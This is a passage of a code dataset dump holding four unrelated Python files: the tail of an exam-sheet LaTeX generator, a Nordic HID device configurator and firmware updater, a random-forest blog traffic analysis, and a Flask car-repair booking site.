fbox\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Document properties\n\\\\AMCrandomseed{1237893}\n\\\\def\\\\AMCformQuestion#1{\\\\vspace{\\\\AMCformVSpace}\\\\par{\\\\bf Q#1:} }\n\\\\AMCformVSpace=0.3ex\n\\\\AMCformHSpace=0.3ex\n\\\\setdefaultgroupmode{withoutreplacement}\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%% Grouping the questions-answers\\n\\n''')\nlogFileF('... LaTeX header is written successfully\\n', 1, date = False)\n\n### QUESTIONS LOOP\n\n### loop for simple questions\ncountTemp = 0\nwhile len(quizQs) > 0:\n  qmqNAnsw = '1'\n  temp = []\n  countTemp += 1 \n  countTempStr = str(countTemp)\n  for each in range(len(quizQs)):\n    if each == 0:\n      temp.append(quizQs[0])\n    elif quizQs[each].startswith('+++') or quizQs[each].startswith('---'):\n      temp.append(quizQs[each])\n    else:\n      break\n  print('Question number {} is being processed'.format(countTemp))\n  logFileF('...Question ' + countTempStr + ' is being processed\\n')\n  \n  for each in range(len(temp)):\n    if temp[each].startswith('qqq'):\n      outfileBeg(temp[each][3:])\n      time.sleep(0.1)\n      print('...question body added')\n      logFileF('...qestion ' + countTempStr + ' body added\\n', date = False)\n    elif temp[each].startswith('qm'):\n      qmqNAnsw = str(round(1/int(temp[each][2]), 6))\n      outfileBeg(temp[each][3:], 'mult')\n      time.sleep(0.1)\n      print('...question body added')\n      logFileF('...qestion ' + countTempStr + ' body added\\n', date = False)\n    elif temp[each].startswith('qh'):\n      columnNumber(temp[each][2])\n      outfileBeg(temp[each][3:], horiz = True)\n      time.sleep(0.1)\n      print('...question body added')\n      logFileF('...qestion ' + countTempStr + ' body added\\n', date = False)\n    elif temp[each].startswith('+++'):\n      correctChoice(temp[each][3:], qmqNAnsw)\n      time.sleep(0.1)\n      print('...correct answer added')\n      logFileF('...correct answer to qestion ' + countTempStr + ' added\\n', date = False)\n    elif temp[each].startswith('---'):\n      wrongChoice(temp[each][3:])\n      time.sleep(0.1)\n      print('...incorrect answer added')\n      logFileF('...incorrect answer to qestion ' + countTempStr + ' added\\n', date = False)\n    else:\n      time.sleep(0.1)\n      print('...unnecessary ' + temp[each] + ' stuff removed')\n      logFileF('...trash ' + temp[each] + ' is disposed of\\n', date = False)\n      continue\n  if temp[0].startswith('qqq'):\n    outfileEnding()\n  elif temp[0].startswith('qm'):\n    outfileEnding('mult')\n  elif temp[0].startswith('qh'):\n    outfileEnding(horiz = True)\n  print('Question number {} was processed successfully'.format(countTemp))\n  logFileF('...Question ' + countTempStr + ' processed successfully\\n', 1, date = False)\n  time.sleep(0.1)\n  for each in range(len(temp)):\n    quizQs.pop(0)\n\n### LAST PART OF AMC FILE\n\noutfile.writelines('''\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Actual test sheets\n\\\\onecopy{''' + copyNumber + '''}{\n  %%% Beginning of the test sheet header\n  %%% Exam Name\n  \\\\begin{flushleft}\n  {\\\\bf ''' + examName + '''}\n  \\\\end{flushleft}\n  %%% Exam Date\n  \\\\begin{minipage}{.4\\\\linewidth}\n  \\\\bf '''+ dateOfTestM + ''' %date if needed\n  \\\\end{minipage}\n  \\\\vspace{1ex}''' + multSymbole + '''\\n\n  %%% Questions\n  \\\\insertgroup{general}\n  \\\\AMCcleardoublepage \n  %%% Use either \\\\clearpage or \\\\AMCcleardoublepage options. Double page will result in even number of pages for questions, so that you can print out questions double-sided and answer sheets separately\n  %%% Beginning of the answer sheet\n  \\\\AMCformBegin{\n    %%% Student ID number\n    \\\\AMCcode{etu}{''' + studentIdNumber + '''} \n    \\\\begin{minipage}[b]{9cm}\n    \\\\includegraphics[width=8cm]{wrongCorrect.png}\\\\\\\\ % Wrong and correct filling of the sheet\n    $\\\\leftarrow{}$\\\\hspace{0pt plus 2cm} please encode your student number in the boxes to the left,\n    and write your first and last names below.$\\\\downarrow{}$\\\\hspace{0pt plus 1cm} \\\\vspace*{.2cm}\n    \\\\vspace{1ex}\n    \\\\hfill\\\\namefield{\n      \\\\fbox{\n        \\\\begin{minipage}{.9\\\\linewidth}\n        First name and last name:\\\\\\\\\n        \\\\vspace*{.1cm}\\\\dotfill\n        \\\\vspace*{0.5mm}\n        \\\\end{minipage}\n      } % fbox\n    } % namefield\n    \\\\hfill\\\\vspace{5ex}\\\\end{minipage}\\\\hspace*{\\\\fill}\n  } % \\\\AMCformBegin\n  %%% Beginning of the answer sheet body \n  \\\\begin{center}\n    \\\\bf\\\\normalsize Answers must be given exclusively on this sheet:\n    answers given on the other sheets will be ignored.\n  \\\\end{center}\n  %%% Ending of the answer sheet\n  \\\\begin{multicols}{2}\n  \\\\AMCform\n  \\\\end{multicols}\n  \\\\AMCcleardoublepage \n} % onecopy\n\\\\end{document}''')\nlogFileF('...LaTeX footer is written successfully\\n', 1)\n\n### Finalised programme\n\noutfile.close()\n\n# try:\n#   url = 'https://github.com/mirakklys/python_for_AMC/raw/master/source/wrongCorrect.png'\n#   ulr.urlretrieve(url, 'wrongCorrect.png')\n#   print('I\\'ve downloaded !wrongCorrect.png!\\n Placed in the final test folder')\n#   logFileF('...wrongCorrect.png image file is downloaded successfully\\n')\n\n# except:\n#   pathForPNG = os.getcwd()\n#   print('I couldn\\'t download !wrongCorrect.png! from the GitHub, download it manually from https://github.com/mirakklys/python_for_AMC/blob/master/wrongCorrect.png and place in the final test folder')\n#   logFileF('...Couldn\\'t download the file to ' + pathForPNG)\n  \nlogFileF('\\n~~~Writing to file finished, all files are closed\\n\\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\\n', date = False)\n","repo_name":"mirakklys/python_for_AMC","sub_path":"source/python_for_AMC.py","file_name":"python_for_AMC.py","file_ext":"py","file_size_in_byte":13183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7459932852","text":"import os\nimport sys\nimport hid\nimport struct\nimport time\nimport zlib\n\nimport argparse\nimport logging\nimport collections\n\nfrom enum import IntEnum\n\nREPORT_ID = 5\nREPORT_SIZE = 30\nEVENT_DATA_LEN_MAX = REPORT_SIZE - 6\n\nTYPE_FIELD_POS = 0\nGROUP_FIELD_POS = 6\nEVENT_GROUP_SETUP = 0x1\nEVENT_GROUP_DFU = 0x2\n\nMOD_FIELD_POS = 3\nSETUP_MODULE_SENSOR = 0x1\nSETUP_MODULE_LED = 0x1\n\nOPT_FIELD_POS = 0\nSENSOR_OPT_CPI = 0x0\nSENSOR_OPT_DOWNSHIFT_RUN = 0x1\nSENSOR_OPT_DOWNSHIFT_REST1 = 0x2\nSENSOR_OPT_DOWNSHIFT_REST2 = 0x3\n\nDFU_START = 0x0\nDFU_DATA = 0x1\nDFU_SYNC = 0x2\nDFU_REBOOT = 0x3\nDFU_IMGINFO = 0x4\n\nFLASH_PAGE_SIZE = 4096\n\nPOLL_INTERVAL = 0.02\nPOLL_RETRY_COUNT = 200\n\nDFU_SYNC_RETRIES = 3\nDFU_SYNC_INTERVAL = 1\n\nNORDIC_VID = 0x1915\nDEVICE_PID = {\n    'desktop_mouse_nrf52832'    : 0x52DA,\n    'desktop_mouse_nrf52810'    : 0x52DB,\n    'gaming_mouse'              : 0x52DE,\n    'keyboard'                  : 0x52DD,\n    'dongle'                    : 0x52DC,\n}\n\nclass ConfigStatus(IntEnum):\n    SUCCESS            = 0\n    PENDING            = 1\n    FETCH              = 2\n    TIMEOUT            = 3\n    REJECT             = 4\n    WRITE_ERROR        = 5\n    DISCONNECTED_ERROR = 6\n    FAULT              = 99\n\nclass Response(object):\n    def __init__(self, recipient, event_id, status, data):\n        self.recipient = recipient\n        self.event_id  = event_id\n        self.status    = ConfigStatus(status)\n        self.data      = data\n\n    def __repr__(self):\n        base_str = ('Response:\\n'\n                    '\\trecipient 0x{:04x}\\n'\n                    '\\tevent_id  0x{:02x}\\n'\n                    '\\tstatus    {}\\n').format(self.recipient,\n                                               self.event_id,\n                                               str(self.status))\n        if self.data is None:\n            data_str = '\\tno data'\n        else:\n            data_str = ('\\tdata_len {}\\n'\n                        '\\tdata {}\\n').format(len(self.data), self.data)\n\n        return base_str + data_str\n\n    @staticmethod\n    def parse_response(response_raw):\n        data_field_len = len(response_raw) - struct.calcsize('<BHBBB')\n\n        if data_field_len < 0:\n            logging.error('Response too short')\n            return None\n\n        # Report ID is not included in the feature report from device\n        fmt = '<BHBBB{}s'.format(data_field_len)\n\n        (report_id, rcpt, event_id, status, data_len, data) = struct.unpack(fmt, response_raw)\n\n        if report_id != REPORT_ID:\n            logging.error(\"Improper report ID\")\n            return None\n\n        if data_len > len(data):\n            logging.error('Required data not present')\n            return None\n\n        if data_len == 0:\n            event_data = None\n        else:\n            event_data = data[:data_len]\n\n        return Response(rcpt, event_id, status, event_data)\n\n\nConfigOption = collections.namedtuple('ConfigOption', 'range event_id help')\nSENSOR_OPTIONS = {\n    'downshift_run':    ConfigOption((10,   2550),   SENSOR_OPT_DOWNSHIFT_RUN,   'Time in milliseconds of switching from mode Run to Rest 1'),\n    'downshift_rest1':  ConfigOption((320,  81600),  SENSOR_OPT_DOWNSHIFT_REST1, 'Time in milliseconds of switching from mode Rest 1 to Rest 2.'),\n    'downshift_rest2':  ConfigOption((3200, 816000), SENSOR_OPT_DOWNSHIFT_REST2, 'Time in milliseconds of switching from mode Rest 2 to Rest 3.'),\n    'cpi':              ConfigOption((100,  12000),  SENSOR_OPT_CPI,             'CPI resolution of a mouse sensor'),\n}\n\n\ndef progress_bar(permil):\n    LENGTH = 40\n    done_len = LENGTH * permil // 1000\n    progress_line = '[' + '*' * done_len + '-' * (LENGTH - done_len) + ']'\n    percent = permil / 10.0\n    print('\\r{} {}%'.format(progress_line, percent), end='')\n\n\ndef check_range(value, value_range):\n    if value > value_range[1] or value < value_range[0]:\n        return False\n    return True\n\n\ndef create_set_report(recipient, event_id, event_data):\n    \"\"\" Function creating a report in order to set a specified configuration\n        value.\n        Recipient is a device product ID. \"\"\"\n\n    assert(type(recipient) == int)\n    assert(type(event_id) == int)\n    if event_data:\n        assert(type(event_data) == bytes)\n        event_data_len = len(event_data)\n\n    status = ConfigStatus.PENDING\n    report = struct.pack('<BHBBB', REPORT_ID, recipient, event_id, status,\n                         event_data_len)\n    if event_data:\n        report += event_data\n\n    assert(len(report) <= REPORT_SIZE)\n    report += b'\\0' * (REPORT_SIZE - len(report))\n\n    return report\n\n\ndef create_fetch_report(recipient, event_id):\n    \"\"\" Function for creating a report which requests fetching of\n        a configuration value from a device.\n        Recipient is a device product ID. \"\"\"\n\n    assert(type(recipient) == int)\n    assert(type(event_id) == int)\n\n    status = ConfigStatus.FETCH\n    report = struct.pack('<BHBBB', REPORT_ID, recipient, event_id, status, 0)\n\n    assert(len(report) <= REPORT_SIZE)\n    report += b'\\0' * (REPORT_SIZE - len(report))\n\n    return report\n\n\ndef exchange_feature_report(dev, recipient, event_id, event_data, is_fetch):\n    if is_fetch:\n        data = create_fetch_report(recipient, event_id)\n    else:\n        data = create_set_report(recipient, event_id, event_data)\n\n    dev.send_feature_report(data)\n\n    for retry in range(POLL_RETRY_COUNT):\n        time.sleep(POLL_INTERVAL)\n\n        response_raw = dev.get_feature_report(REPORT_ID, REPORT_SIZE)\n        response = Response.parse_response(response_raw)\n\n        if response is None:\n            logging.error('Invalid response')\n            op_status = ConfigStatus.FAULT\n            break\n\n        logging.debug('Parsed response: {}'.format(response))\n\n        if (response.recipient != recipient) or (response.event_id != event_id):\n            logging.error('Response does not match the request:\\n'\n                          '\\trequest: recipient {} event_id {}\\n'\n                          '\\tresponse: recipient {}, event_id {}'.format(recipient, event_id,\n                                                                         response.recipient, response.event_id))\n            op_status = ConfigStatus.FAULT\n            break\n\n        op_status = response.status\n        if op_status != ConfigStatus.PENDING:\n            break\n\n    fetched_data = None\n    success = False\n    if op_status == ConfigStatus.SUCCESS:\n        logging.info('Success')\n        success = True\n        if is_fetch:\n            fetched_data = response.data\n    else:\n        logging.warning('Error: {}'.format(op_status.name))\n\n    if is_fetch:\n        return success, fetched_data\n    return success\n\n\ndef get_device_pid(device_type):\n    if device_type in DEVICE_PID:\n        return DEVICE_PID[device_type]\n    else:\n        return None\n\n\ndef open_device(device_type):\n    if get_device_pid(device_type) is None:\n        print(\"Unsupported device type\")\n        return None\n\n    try:\n        dev = hid.Device(vid=NORDIC_VID, pid=get_device_pid(device_type))\n        print(\"Found device\")\n    except hid.HIDException:\n        try:\n            dev = hid.Device(vid=NORDIC_VID, pid=get_device_pid('dongle'))\n            print(\"Try to connect via dongle\")\n        except hid.HIDException:\n            print(\"Cannot find selected device nor dongle\")\n            return None\n    except:\n        logging.error(\"Unknown error: {}\".format(sys.exc_info()[0]))\n        return None\n\n    return dev\n\n\ndef dfu_sync(dev, args):\n    event_id = (EVENT_GROUP_DFU << GROUP_FIELD_POS) | (DFU_SYNC << TYPE_FIELD_POS)\n    recipient = get_device_pid(args.device_type)\n\n    try:\n        success, fetched_data = exchange_feature_report(dev, recipient, event_id, None, True)\n    except:\n        success = False\n\n    if not success:\n        return None\n\n    fmt = '<BIII'\n    assert(struct.calcsize(fmt) <= EVENT_DATA_LEN_MAX)\n\n    if (fetched_data is None) or (len(fetched_data) < struct.calcsize(fmt)):\n        return None\n\n    return struct.unpack(fmt, fetched_data)\n\n\ndef dfu_start(dev, args, img_length, img_csum, offset):\n    event_id = (EVENT_GROUP_DFU << GROUP_FIELD_POS) | (DFU_START << TYPE_FIELD_POS)\n    recipient = get_device_pid(args.device_type)\n\n    event_data = struct.pack('<III', img_length, img_csum, offset)\n\n    try:\n        success = exchange_feature_report(dev, recipient, event_id, event_data, False)\n    except:\n        success = False\n\n    return success\n\n\ndef file_crc(dfu_image):\n    crc32 = 1\n\n    img_file = open(dfu_image, \"rb\")\n    if img_file is None:\n        return None\n\n    while True:\n        chunk_data = img_file.read(512)\n        if len(chunk_data) == 0:\n            break;\n        crc32 = zlib.crc32(chunk_data, crc32)\n\n    img_file.close()\n\n    return crc32\n\n\ndef dfu_sync_wait(dev, args, is_active):\n    if is_active:\n        dfu_state = 0x01\n    else:\n        dfu_state = 0x00\n\n    for i in range(DFU_SYNC_RETRIES):\n        dfu_info = dfu_sync(dev, args)\n        if dfu_info is not None:\n            if dfu_info[0] != dfu_state:\n                # DFU may be transiting its state. This can happen when previous\n                # interrupted DFU operation is timing out. Sleep to allow it\n                # to settle the state.\n                time.sleep(DFU_SYNC_INTERVAL)\n            else:\n                break\n    return dfu_info\n\n\ndef perform_dfu(dev, args):\n    dfu_image = args.dfu_image\n    event_id = (EVENT_GROUP_DFU << GROUP_FIELD_POS) | (DFU_DATA << TYPE_FIELD_POS)\n    recipient = get_device_pid(args.device_type)\n\n    if not os.path.isfile(dfu_image):\n        print('DFU image file does not exists')\n        return\n\n    img_length = os.stat(dfu_image).st_size\n    if img_length <= 0:\n        print('DFU image is empty')\n        return\n\n    print('DFU image size: {} bytes'.format(img_length))\n\n    # Check there is no other DFU operation.\n    dfu_info = dfu_sync_wait(dev, args, False)\n    if dfu_info is None:\n        print('Cannot start DFU, device not responding')\n        return\n\n    if dfu_info[0] != 0:\n        print('Cannot start DFU, already in progress')\n        return\n\n    # Check if the previously interrupted DFU operation can be resumed.\n    img_csum = file_crc(dfu_image)\n    if (dfu_info[1] == img_length) and (dfu_info[2] == img_csum) and (dfu_info[3] <= img_length):\n        print('Resume DFU at {}'.format(dfu_info[3]))\n        offset = dfu_info[3]\n    else:\n        offset = 0\n\n    # Start DFU operation at selected offset.\n    # It can happen that device will reject this request - this will be\n    # verified by dfu sync at data exchange.\n    success = dfu_start(dev, args, img_length, img_csum, offset)\n    if not success:\n        print('Cannot start DFU operation')\n\n    img_file = open(dfu_image, \"rb\")\n    img_file.seek(offset)\n\n    try:\n        while offset < img_length:\n            if offset % FLASH_PAGE_SIZE == 0:\n                # Sync DFU state at regular intervals to ensure everything\n                # is all right.\n                success = False\n                dfu_info = dfu_sync(dev, args)\n                if dfu_info is None:\n                    print('Lost communication with the device')\n                    break\n                if dfu_info[0] == 0:\n                    print('DFU interrupted by device')\n                    break\n                if (dfu_info[1] != img_length) or (dfu_info[2] != img_csum) or (dfu_info[3] != offset):\n                    print('Invalid sync information')\n                    break\n\n            chunk_data = img_file.read(EVENT_DATA_LEN_MAX)\n            chunk_len = len(chunk_data)\n            if chunk_len == 0:\n                break\n\n            logging.debug('Send DFU request: offset {}, size {}'.format(offset, chunk_len))\n\n            progress_bar(int(offset/img_length * 1000))\n            try:\n                success = exchange_feature_report(dev, recipient, event_id, chunk_data, False)\n            except:\n                success = False\n            if not success:\n                print('Lost communication with the device')\n                break\n\n            offset += chunk_len\n    except:\n        success = False\n\n    img_file.close()\n    print('')\n\n    if success:\n        print('DFU transfer completed')\n        success = False\n\n        dfu_info = dfu_sync_wait(dev, args, False)\n        if dfu_info is None:\n            print('Lost communication with the device')\n        else:\n            if dfu_info[0] != 0:\n                print('Device holds DFU active')\n            elif dfu_info[3] != offset:\n                print('Device holds incorrect image offset')\n            else:\n                success = perform_fwreboot(dev, args)\n\n    if not success:\n        print('DFU transfer failed')\n    else:\n        print('DFU completed')\n\n\ndef perform_config(dev, args):\n    if args.module == 'sensor':\n        module_id = SETUP_MODULE_SENSOR\n        options = SENSOR_OPTIONS\n    else:\n        print('Unknown module')\n        return\n\n    config_name  = args.option\n    config_opts  = options[config_name]\n\n    value_range  = config_opts.range\n    opt_id       = config_opts.event_id\n\n    recipient = get_device_pid(args.device_type)\n    event_id = (EVENT_GROUP_SETUP << GROUP_FIELD_POS) | (module_id << MOD_FIELD_POS) | (opt_id << OPT_FIELD_POS)\n\n    if (args.value == 'fetch'):\n        logging.debug('Fetch the current value of {} from the firmware'.format(config_name))\n        try:\n            success, fetched_data = exchange_feature_report(dev, recipient, event_id, None, True)\n        except:\n            success = False\n\n        if success and fetched_data:\n            val = int.from_bytes(fetched_data, byteorder='little')\n            print('Fetched {}: {}'.format(config_name, val))\n        else:\n            print('Failed to fetch {}'.format(config_name))\n    else:\n        config_value = int(args.value)\n        logging.debug('Send request to update {}: {}'.format(config_name, config_value))\n        if not check_range(config_value, value_range):\n            print('Failed. Config value for {} must be in range {}'.format(config_name, value_range))\n            return\n\n        event_data = struct.pack('<I', config_value)\n        try:\n            success = exchange_feature_report(dev, recipient, event_id, event_data, False)\n        except:\n            success = False\n\n        if success:\n            print('{} set to {}'.format(config_name, config_value))\n        else:\n            print('Failed to set {}'.format(config_name))\n\n\ndef perform_fwinfo(dev, args):\n    event_id = (EVENT_GROUP_DFU << GROUP_FIELD_POS) | (DFU_IMGINFO << TYPE_FIELD_POS)\n    recipient = get_device_pid(args.device_type)\n\n    try:\n        success, fetched_data = exchange_feature_report(dev, recipient, event_id, None, True)\n    except:\n        success = False\n\n    if success and fetched_data:\n        fmt = '<BIBBHI'\n        assert(struct.calcsize(fmt) <= EVENT_DATA_LEN_MAX)\n\n        (flash_area_id, image_len, ver_major, ver_minor, ver_rev, ver_build_nr) = struct.unpack(fmt, fetched_data)\n        print(('Firmware info\\n'\n               '\\tFLASH area id: {}\\n'\n               '\\tImage length: {}\\n'\n               '\\tVersion: {}.{}.{}.{}').format(flash_area_id,\n                                                image_len,\n                                                ver_major,\n                                                ver_minor,\n                                                ver_rev,\n                                                ver_build_nr))\n    else:\n        print('FW info request failed')\n\n\ndef perform_fwreboot(dev, args):\n    event_id = (EVENT_GROUP_DFU << GROUP_FIELD_POS) | (DFU_REBOOT << TYPE_FIELD_POS)\n    recipient = get_device_pid(args.device_type)\n\n    try:\n        success, fetched_data = exchange_feature_report(dev, recipient, event_id, None, True)\n    except:\n        success = False\n\n    if success:\n        print('Firmware rebooted')\n    else:\n        print('FW reboot request failed')\n\n    return success\n\n\ndef configurator():\n    logging.basicConfig(level=logging.ERROR)\n    logging.info('Configuration channel for nRF52 Desktop')\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('device_type', help='Selected device type: ' +\n\t    ''.join(\"%s, \" % dt for dt in DEVICE_PID)[:-2])\n    subparsers = parser.add_subparsers(dest='command')\n    subparsers.required = True\n    parser_dfu = subparsers.add_parser('dfu', help='Run DFU')\n    parser_dfu.add_argument('dfu_image', type=str, help='Path to a DFU image')\n    parser_fwinfo = subparsers.add_parser('fwinfo', help='Obtain information about FW image')\n    parser_fwreboot = subparsers.add_parser('fwreboot', help='Request FW reboot')\n    parser_config = subparsers.add_parser('config', help='Write configuration option')\n    config_subparsers = parser_config.add_subparsers(dest='module')\n    config_subparsers.required = True\n    parser_config_sensor = config_subparsers.add_parser('sensor', help='Optical sensor options')\n    parser_config_sensor_subparsers = parser_config_sensor.add_subparsers(dest='option')\n    parser_config_sensor_subparsers.required = True\n    for opt_name in SENSOR_OPTIONS.keys():\n        parser_config_sensor_opt = parser_config_sensor_subparsers.add_parser(opt_name, help=SENSOR_OPTIONS[opt_name].help)\n        parser_config_sensor_opt.add_argument('value', help='value range: {} or \"fetch\" to fetch the value from device'.format(SENSOR_OPTIONS[opt_name].range))\n    args = parser.parse_args()\n\n    dev = open_device(args.device_type)\n    if not dev:\n        return\n\n    if args.command == 'dfu':\n        perform_dfu(dev, args)\n    elif args.command == 'fwinfo':\n        perform_fwinfo(dev, args)\n    elif args.command == 'fwreboot':\n        perform_fwreboot(dev, args)\n    elif args.command == 'config':\n        perform_config(dev, args)\n\nif __name__ == '__main__':\n    try:\n        configurator()\n    except KeyboardInterrupt:\n        pass\n","repo_name":"terontynen/fw-nrfconnect-nrf","sub_path":"scripts/hid_configurator/configurator.py","file_name":"configurator.py","file_ext":"py","file_size_in_byte":17833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"13205194502","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport pandas as pd\nimport itertools\nfrom sklearn.ensemble import RandomForestClassifier\nfrom bs4 import BeautifulSoup\nfrom nltk.tokenize import word_tokenize, sent_tokenize\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\n## Predict the tendency for articles to be in the top half of organic traffic \n## given a range of feature values, feature name, test set and random forest\n## classifier\n\ndef predict_traffic(x_range, feature, test_data, forest):\n    print(\"Predicting for '\" + feature.lower() + \"'...\")\n    \n    for cur_x in x_range:\n        test_subset = test_data.loc[(test_data[feature] == cur_x) & (test_data[\"Prediction\"] == 0), [\"Content Length\", \"Title Length\", \"Links\", \"Verbosity\", \"Sentiment\"]]\n        test_data.loc[(test_data[feature] == cur_x) & (test_data[\"Prediction\"] == 0), \"Prediction\"] = forest.predict(test_subset) \n    \n\n## Train random forest and save predictions to ../models/predictions.csv\n\ndef main():\n    # import data\n    posts = pd.read_json(\"../data/wp_posts.json\")\n    analytics = pd.read_csv(\"../data/analytics2020.csv\")\n    \n    # reformat page names from Google Analytics\n    for i_post, row1 in posts.iterrows():\n        for i_analytics, row2 in analytics.iterrows():\n            if posts.loc[i_post, \"post_name\"] in analytics.loc[i_analytics, \"Landing Page\"] and \"/?\" not in analytics.loc[i_analytics, \"Landing Page\"]:\n                analytics.loc[i_analytics, \"Landing Page\"] = posts.loc[i_post, \"post_name\"]\n            \n\n    # filter columns and merge data from MySQL/Google Analytics\n    analytics.rename(columns={\"Landing Page\": \"post_name\"}, inplace=True)\n    analytics = analytics.filter([\"post_name\", \"Users\", \"Bounce Rate\", \"Pages / Session\"])\n    data = posts.merge(analytics, on=\"post_name\")\n    data.rename(columns={\"post_name\": \"Post\", \"post_title\": \"Title\", \"post_content\": \"Content\", \"Bounce Rate\": \"Bounced\", \"Pages / Session\": \"Pages\"}, inplace=True)\n    \n    # convert to appropriate data types, calculate additional features\n    data[\"Users\"] = data.apply(lambda post: int(post[\"Users\"].replace(\",\", \"\")), axis=1)\n    data[\"Bounced\"] = data.apply(lambda post: float(post[\"Bounced\"].replace(\"%\", \"\")), axis=1)\n    data[\"Pages\"] = data.apply(lambda post: float(post[\"Pages\"]), axis=1)\n    data[\"Content Length\"] = data.apply(lambda post: len(BeautifulSoup(post[\"Content\"], \"html5lib\").get_text().split()), axis=1)\n    data[\"Title Length\"] = data.apply(lambda post: len(post[\"Title\"]), axis=1)\n    data[\"Links\"] = data.apply(lambda post: len(BeautifulSoup(post[\"Content\"], \"html5lib\").find_all(\"a\")), axis=1)\n    data[\"Verbosity\"] = data.apply(lambda post: len(word_tokenize(BeautifulSoup(post[\"Content\"], \"html5lib\").get_text())) / len(sent_tokenize(BeautifulSoup(post[\"Content\"], \"html5lib\").get_text())), axis=1)\n    sentiment = SentimentIntensityAnalyzer()\n    data[\"Sentiment\"] = data.apply(lambda post: sentiment.polarity_scores(post[\"Content\"])[\"compound\"], axis=1)\n    data[\"Top\"] = data.apply(lambda post: post[\"Users\"] >= data[\"Users\"].quantile(.50), axis=1)\n    \n    # train random forest\n    print(\"Training random forest...\")\n    forest = RandomForestClassifier(oob_score=True, max_features=\"sqrt\", n_estimators=500)\n    forest.fit(data[[\"Content Length\", \"Title Length\", \"Links\", \"Verbosity\", \"Sentiment\"]], data[\"Top\"])\n    print(\"\\tOOB score: \" + str(forest.oob_score_))\n    print(\"\\tFeature importances: \" + str(forest.feature_importances_))\n    #importance_sd = np.std([tree.feature_importances_ for tree in forest.estimators_], axis=0)\n    #print(importance_sd)\n    #quit()\n    \n    # create test set \n    test_data = pd.DataFrame(list(itertools.product(np.arange(300, 2100, 100),\n                                                    np.arange(data[\"Title Length\"].min(), data[\"Title Length\"].max() + 1),\n                                                    np.arange(data[\"Links\"].min(), data[\"Links\"].max() + 1),\n                                                    np.linspace(data[\"Verbosity\"].min(), data[\"Verbosity\"].max(), 10),\n                                                    np.linspace(data[\"Sentiment\"].min(), data[\"Sentiment\"].max(), 10))))\n    test_data.rename(columns={0: \"Content Length\", 1: \"Title Length\", 2: \"Links\", 3: \"Verbosity\", 4: \"Sentiment\"}, inplace=True)\n    test_data[\"Prediction\"] = np.zeros(len(test_data.index))\n     \n    # plot marginal probabilities of articles with certain features having above-average traffic\n    predict_traffic(np.arange(300, 2100, 100), \"Content Length\", test_data, forest)\n    predict_traffic(np.arange(data[\"Title Length\"].min(), data[\"Title Length\"].max() + 1), \"Title Length\", test_data, forest)\n    predict_traffic(np.arange(data[\"Links\"].min(), data[\"Links\"].max() + 1), \"Links\", test_data, forest)\n    predict_traffic(np.linspace(data[\"Verbosity\"].min(), data[\"Verbosity\"].max(), 10), \"Verbosity\", test_data, forest)\n    predict_traffic(np.linspace(data[\"Sentiment\"].min(), data[\"Sentiment\"].max(), 10), \"Sentiment\", test_data, forest)\n\n    test_data.to_csv(\"../models/predictions.csv\")\n\nif __name__ == \"__main__\":\n    main()","repo_name":"nlsvrsky/organic-traffic","sub_path":"src/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"41934418641","text":"from flask import Flask, render_template, url_for, request, redirect\nfrom datebase import Database\n\napp = Flask(__name__)\ndb = Database()\n\n\n@app.route('/', methods=['GET'])\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/admin/tickets', methods=['GET'])\ndef tickets():\n    tickets = db.get_tickets_for_table()\n    return render_template('tickets.html', tickets=tickets)\n\n\n@app.route('/admin', methods=['GET'])\ndef admin():\n    autos = db.get_autos()\n    name_clients = db.get_name_clients()\n    tickets = db.get_tickets()\n    tunning = db.get_tunnings()\n    return render_template('admin.html', autos=autos, name_clients=name_clients, tickets=tickets, tunning=tunning)\n\n\n@app.route('/client', methods=['POST'])\ndef new_client():\n    name = request.form['name']\n    surname = request.form['surname']\n    email = request.form['email']\n    phone = request.form['phone']\n    address = request.form['address']\n    db.add_client(name, surname, email, phone, address.replace('\\n', ' '))\n    return redirect('/')\n\n\n@app.route('/admin/ticket', methods=['POST'])\ndef create_ticket():\n    date = request.form['date']\n    client = request.form['client']\n    auto_num = request.form['auto_num']\n    auto = request.form['auto']\n    desc = request.form['desc']\n    db.create_ticket(date, client, auto_num, auto, desc)\n    return redirect('/admin')\n\n@app.route('/admin/auto', methods=['POST'])\ndef create_auto():\n    name = request.form['name']\n    model = request.form['model']\n    year = request.form['year']\n    db.create_auto(name, model, year)\n    return redirect('/admin')\n\n@app.route('/admin/tunning', methods=['POST'])\ndef create_tun():\n    name = request.form['name']\n    desc = request.form['desc']\n    cost = request.form['cost']\n    db.create_tunning(name, desc, cost)\n    return redirect('/admin')\n\n@app.route('/admin/order', methods=['POST'])\ndef create_order():\n    ticket = request.form['ticket']\n    cost = request.form['cost']\n    db.create_order(ticket, cost)\n    return redirect('/admin')\n\n@app.route('/admin/tun_in_ticket', methods=['POST'])\ndef create_tun_in_ticket():\n    ticket = request.form['ticket']\n    tun = request.form['tun']\n    db.add_tunning_in_ticket(tun, ticket)\n    return redirect('/admin')\n\napp.run()","repo_name":"neluckoff/car_repair_site","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
